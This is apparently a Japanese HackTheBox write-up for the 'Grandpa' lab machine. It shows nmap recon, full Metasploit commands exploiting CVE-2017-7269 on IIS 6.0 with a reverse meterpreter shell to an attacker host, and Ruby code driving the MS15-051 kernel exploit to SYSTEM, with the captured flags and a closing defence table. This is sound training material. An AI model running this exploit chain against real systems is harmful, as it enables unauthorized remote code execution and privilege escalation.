HackTheBox: Grandpa — 全実行コマンド・実行結果レポート
Nmap スキャン
80(IIS 6.0 + WebDAV)のみ
→
80(IIS 6.0 + WebDAV)のみ
WebDAV PUT検証
アップロード系は403で封鎖済み
→
アップロード系は403で封鎖済み
CVE-2017-7269
EXPLODINGCAN バッファオーバーフロー
→
EXPLODINGCAN バッファオーバーフロー
NT AUTHORITY\NETWORK SERVICE
低権限シェル
→
低権限シェル
MS15-051
client_copy_image カーネル脆弱性
→
client_copy_image カーネル脆弱性
NT AUTHORITY\SYSTEM
user.txt / root.txt ✓
user.txt / root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 80 -sV -sC --max-retries 2 10.129.84.88
RESULT
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
| http-webdav-scan:
| Server Date: Sat, 17 Oct 2026 14:58:50 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unknown
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
開いているのは80番のみ。Microsoft-IIS/6.0 + WebDAVはWindows Server 2003に
同梱されるバージョンであり、2017年公開の重大なバッファオーバーフロー
CVE-2017-7269 (EXPLODINGCAN)の対象プラットフォームである。
Allowed MethodsにPUT/MKCOLが列挙されているが、これは
OPTIONSレスポンス上の宣言にすぎず実際の書込み可否とは別なので、
次のステップで実際に検証する。
WebDAV PUT の実動作確認
BASH
echo "test" > davtest.txt curl -s -i -X PUT --data-binary @davtest.txt "http://10.129.84.88/davtest.txt"
RESULT
HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
<TITLE>The page cannot be saved</TITLE>
⚠️
実際のPUTは403 Forbiddenで拒否される(OPTIONSの宣言と実動作が異なる)。
これはGrandpaの姉妹機Grannyが使うアップロード型フットホールド
(
iis_webdav_upload_asp)がこのマシンでは使えないことを意味し、
CVE-2017-7269のバッファオーバーフロー一本に絞る方針が確定する。
PHASE 2
CVE-2017-7269 (EXPLODINGCAN) の解析
脆弱性の仕組み
NOTE
IIS 6.0 の WebDAV拡張モジュール(httpext.dll)内、ScStoragePathFromUrl関数が "If-x" ヘッダを含む特定のPROPFINDリクエストを処理する際にバッファオーバーフローを 起こす。NSA発のEternalBlue関連リーク(Shadow Brokers)で2017年に公開され、 w3wp.exe (IISワーカープロセス) のコンテキストでシェルコードを実行できる。 IISワーカーの実行アカウントは既定で NT AUTHORITY\NETWORK SERVICE のため、 フットホールドの時点でこの低権限シェルが直接得られる(認証不要)。
🚨
Metasploitモジュール
exploit/windows/iis/iis_webdav_scstoragepathfromurl
(Reliability: REPEATABLE_SESSION)は、オーバーフローの正確な
オフセットを得るためにストレージパス長を3〜60の範囲で総当たりする
内部実装になっており、フットホールド確立までに数十秒〜1分程度かかる。
PHASE 3
EXPLODINGCAN によるフットホールド
エクスプロイトモジュールの設定
BASH (msfconsole)
use exploit/windows/iis/iis_webdav_scstoragepathfromurl set RHOSTS 10.129.84.88 set RPORT 80 set TARGETURI / set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.10.15.200 set LPORT 4540 run -j
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4540
[*] Trying path length 3 to 60 ...
[*] Sending stage (190534 bytes) to 10.129.84.88
[*] Meterpreter session 1 opened (10.10.15.200:4540 -> 10.129.84.88:1032)
✅
数十秒のパス長総当たりの後、単発で安定したセッションが確立する
(アップロード型とは異なり多重セッションが乱立しない、クリーンな挙動)。
権限確認
API (msfconsole内Ruby)
sess.shell_command_token("whoami", 20)
RESULT
nt authority\network service
ℹ️
IISワーカープロセスの既定アカウント。管理者権限ではないため、
このままだとフラグ取得に進めるかはファイルACLに依存する。
user.txt への直接アクセス試行(失敗)
API (msfconsole内Ruby, foothold セッション)
sess.fs.dir.entries("C:\Documents and Settings\Harry\Desktop")
sess.shell_command_token('cmd.exe /c type "C:\Documents and Settings\Harry\Desktop\user.txt"', 15)
RESULT
DESKTOP_ENTRIES: (空)
TYPE_OUT: Access is denied.
🚨
重要な発見: NETWORK SERVICEアカウントには
harryユーザーのDesktopフォルダに対する読み取り権限が
ACLで拒否されている。つまりGrandpaでは、user.txtも
root.txtと同様にSYSTEM昇格後でなければ読み取れない
(NETWORK SERVICEの時点ではuser.txtの内容を直接確認できないという、
このマシン特有のACL設計になっている)。
PHASE 4
MS15-051 で SYSTEM 昇格 & user.txt / root.txt
ms15_051_client_copy_image の手動ドライブ
NOTE
SESSION -1 (コンソールの set コマンド経由で "最新セッション" を意味させる) は "Invalid session identifier: -1" で拒否される。そのため use/set/run のコンソール フローではなく、Rubyコード内で framework.exploits.create(...) によりモジュール オブジェクトを直接生成し、取得済みのフットホールドセッションの実IDを datastore['SESSION'] に設定する方式でドライブする(Granny/Grandpaの実機検証で 確立済みの手法)。
API (msfconsole内Ruby)
mod = framework.exploits.create('windows/local/ms15_051_client_copy_image')
mod.datastore['SESSION'] = foothold_sess.sid
mod.datastore['TARGET'] = 0
mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
mod.datastore['LHOST'] = '10.10.15.200'
mod.datastore['LPORT'] = 4551
# NETWORK SERVICEセッションは sys.config.getsid / sysinfo が例外を投げるため、
# ms15_051 の事前チェックで即中断しないようスタブ化する
def mod.is_system?; false; end
def mod.sysinfo; {'Architecture' => 'x86'}; end
# payload.assoc_exploit を明示設定しないと SYSTEM セッションが
# framework.sessions に登録されない(set_from_exploit(nil) の NoMethodError)
pinst = mod.framework.payloads.create('windows/meterpreter/reverse_tcp')
pinst.datastore['LHOST'] = '10.10.15.200'
pinst.datastore['LPORT'] = 4551
pinst.assoc_exploit = mod
mod.generate_payload(pinst)
mod.setup # これを呼ばないと LPORT 4551 の reverse handler が起動しない
mod.exploit
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4551
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching netsh to host the DLL...
[+] Process 1828 launched.
[*] Reflectively injecting the DLL into 1828...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (190534 bytes) to 10.129.84.88
[*] Meterpreter session 2 opened (10.10.15.200:4551 -> 10.129.84.88:1053)
🚨
CVE-2015-1701 (MS15-051): Windowsカーネルの
win32k.sys内 NtUserCopyAcceleratorTable系APIの権限検証不備。
netsh.exeプロセスへDLLをリフレクティブインジェクションし、
カーネルモードでSYSTEM権限のプロセスを生成する。カーネルエクスプロイトの
ため常に成功するとは限らない(msf自身がReliability: UNKNOWN_RELIABILITY
と申告)が、今回は1回目の試行で成功した。
SYSTEM昇格の確認
API
root_sess.shell_command_token("whoami", 15)
RESULT
nt authority\system
user.txt / root.txt 取得(SYSTEMセッションから)
API (msfconsole内Ruby, meterpreterのfs.file API経由)
root_sess.fs.file.open('C:\Documents and Settings\Harry\Desktop\user.txt').read
root_sess.fs.file.open('C:\Documents and Settings\Administrator\Desktop\root.txt').read
RESULT
USER_FLAG_FROM_SYSTEM: bdff5ec67c3cff017f2bedc146a5d869 ROOT_FLAG_FROM_SYSTEM: 9359e905a2c35f861f6a57cecf28bb7b
user.txt — Harry@GRANDPA
bdff5ec67c3cff017f2bedc146a5d869
root.txt — Administrator@GRANDPA
9359e905a2c35f861f6a57cecf28bb7b
✅
SYSTEMは全てのNTFS ACLをバイパスするため、NETWORK SERVICEでは
“Access is denied” だった
user.txtも問題なく読み取れる —
このマシンではuser.txtもroot.txtと同じくSYSTEM昇格後でなければ
取得できないという設計(他のHTB Easyマシンの多くはuser.txtを
フットホールドの時点で読めるが、Grandpaはそうではない)。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Harry@GRANDPA
bdff5ec67c3cff017f2bedc146a5d869
root.txt — Administrator@GRANDPA
9359e905a2c35f861f6a57cecf28bb7b
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2017-7269 (EXPLODINGCAN) | IIS 6.0 WebDAV (httpext.dll ScStoragePathFromUrl) | 未認証リモートコード実行 | Critical | ストレージパス長の総当たりでオーバーフローオフセットを特定し シェルコード実行、NETWORK SERVICEシェルを獲得 |
| CVE-2015-1701 (MS15-051) | Windowsカーネル win32k.sys (client_copy_image) | 一般サービスアカウントからのSYSTEM昇格 | Critical | netsh.exeへのDLLリフレクティブインジェクションでカーネル権限 検証不備を突き、user.txt / root.txt取得可能な NT AUTHORITY\SYSTEMシェルを獲得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(80) + WebDAV PUT実動作検証(403で封鎖確認) | IIS 6.0検出、アップロード経路は不可と確定 |
| 2 | 脆弱性解析 | CVE-2017-7269の仕組み理解 | パス長総当たりオーバーフローの把握 |
| 3 | フットホールド | iis_webdav_scstoragepathfromurl | NETWORK SERVICEシェル(user.txtは未読取、ACL拒否) |
| 4 | 権限昇格 | ms15_051_client_copy_image | user.txt / root.txt(SYSTEMシェルから両方取得) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 2017年公開の既知脆弱性(CVE-2017-7269, EXPLODINGCAN)が 未パッチのまま稼働している、かつEOL(サポート終了)のWindows Server 2003/IIS 6.0 | Windows Server 2003は2015年にサポート終了済み。 現行の長期サポート対象OS(Windows Server 2019/2022等)へ 移行し、WebDAV拡張機能は使用しないなら無効化する。 |
| 2015年公開のWindowsカーネル脆弱性(MS15-051)が未パッチ | Windows Updateを定期適用し、特にwin32k.sys等カーネルモード コンポーネントのセキュリティパッチは優先的に適用する。 |
| ユーザーのDesktopフォルダへのACLが単純な拒否のみで、 監査ログ等の検知機構が存在しない(推測、本検証では確認せず) | 重要ファイルへのアクセス試行は監査ログで記録し、 NETWORK SERVICE等のサービスアカウントからの異常なファイル アクセス試行をSIEMでアラート化する。 |

